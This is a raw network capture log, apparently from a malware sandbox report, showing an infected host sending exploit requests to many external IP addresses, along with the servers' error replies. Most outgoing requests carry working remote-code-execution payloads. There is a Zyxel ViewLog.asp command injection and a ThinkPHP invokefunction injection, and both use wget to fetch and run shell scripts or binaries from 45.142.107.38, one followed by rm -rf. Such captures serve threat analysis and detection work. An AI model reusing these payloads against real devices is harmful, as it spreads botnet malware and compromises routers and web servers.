Mar 4, 2024 15:07:57.835509062 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:07:57 GMT Date: Mon, 04 Mar 2024 14:07:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 62 65 63 36 35 35 66 26 23 34 36 3b 31 37 30 39 35 36 31 32 37 37 26 23 34 36 3b 33 64 33 31 61 65 62 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.3bec655f.1709561277.3d31aebe</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
558	192.168.2.13	54254	62.78.40.66	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.711483002 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:57.921349049 CET	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
559	192.168.2.13	44144	94.121.206.60	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.718497992 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
560	192.168.2.13	46408	94.120.50.64	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.728475094 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
561	192.168.2.13	40988	88.99.102.156	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:57.874145031 CET	219	IN	HTTP/1.1 400 Bad request Content-length: 90 Cache-Control: no-cache Connection: close Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
562	192.168.2.13	57604	88.99.208.55	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:59.631217957 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:59.806315899 CET	292	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:59 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
563	192.168.2.13	55052	88.150.233.132	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:59.789607048 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:59.947269917 CET	480	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:07:59 GMT Content-Type: text/html Content-Length: 150 Connection: close Set-Cookie: cud=WJbphGXl1b9wYEg6Bz4NAg==; expires=Tue, 01-Mar-2039 14:07:59 GMT; path=/; secure; httponly; samesite=strict P3P: policyref="/w3c/p3p.xml", CP="CUR ADM OUR NOR STA NID" Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
564	192.168.2.13	58126	88.99.29.225	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:59.806113005 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:59.981897116 CET	1198	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:59 GMT Server: Apache Vary: accept-language,accept-charset,Accept-Encoding Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 Content-Language: en Expires: Mon, 04 Mar 2024 14:07:59 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 0a 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 74 69 74 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 76 3d 22 6d 61 64 65 22 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 0a 20 20 20 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 0a 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 43 43 3b 20 7d 0a 20 20 20 20 70 2c 20 61 64 64 72 65 73 73 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 0a 20 20 20 20 73 70 61 6e 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 0a 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 72 65 71 75 65 73 74 21 3c 2f 68 31 3e 0a 3c 70 3e 0a 0a 0a 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 28 6f 72 20 70 72 6f 78 79 29 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 0a 20 20 20 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 0a 0a 3c 2f 70 3e 0a 3c 70 3e 0a 49 66 20 79 6f 75 20 74 68 69 6e 6b 20 74 68 69 73 20 69 73 20 61 20 73 65 72 76 65 72 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 0a 74 68 65 20 3c 61 20 68 72 65 66 3d 22 6d 61 69 6c 74 6f 3a 73 75 70 70 6f 72 74 40 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 22 3e 77 65 62 6d 61 73 74 65 72 3c 2f 61 3e 2e 0a 0a 3c 2f 70 3e 0a 0a 3c 68 32 3e 45 72 72 6f 72 20 34 30 30 3c 2f 68 32 3e 0a 3c 61 64 64 72 65 73 73 3e 0a 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 76 69 63 69 62 6f 78 2e 6c 6f 63 61 6c 3c 2f 61 3e 3c 62 72 20 2f 3e 0a 20 20 3c 73 70 61 6e 3e 41 70 61 63 68 65 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>Bad request!</title><link rev="made" href="mailto:support@vicibox.local" /><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } p, address {margin-left: 3em;} span {font-size: smaller;}/...*/--></style></head><body><h1>Bad request!</h1><p> Your browser (or proxy) sent a request that this server could not understand.</p><p>If you think this is a server error, please contactthe <a href="mailto:support@vicibox.local">webmaster</a>.</p><h2>Error 400</h2><address> <a href="/">vicibox.local</a><br /> <span>Apache</span></address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
565	192.168.2.13	41446	112.80.147.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:59.817050934 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:00.189601898 CET	490	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:08:00 GMT Content-Type: text/html Content-Length: 148 Connection: close Proxy-Status: 0000201400001016 x-tt-trace-host: 0108aafeddcc69cb869e60f4c2643ab1d55c4f356f31b5f2aea6c15b14798e812149191d1bfcfaf2fde25a67a471e6c172 x-tt-trace-tag: id=00;cdn-cache=miss Server: TLB Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 54 4c 42 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>TLB</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
566	192.168.2.13	57646	88.210.64.8	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:59.991658926 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:08:00.201736927 CET	59	IN	HTTP/1.1 400 Bad Request Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.13	33758	94.122.107.0	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:01.200165033 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.13	60328	31.44.130.6	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:01.204309940 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.13	40542	31.200.75.76	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:01.423525095 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.550968885 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:03.894994020 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:06.774904013 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:12.150934935 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:22.902937889 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:45.942868948 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.13	53674	31.200.59.163	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:01.435002089 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.13	60754	85.167.239.31	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:08:01.840420961 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:02.038690090 CET	626	IN	HTTP/1.1 404 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 431 Date: Mon, 04 Mar 2024 14:08:01 GMT Keep-Alive: timeout=5 Connection: keep-alive Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 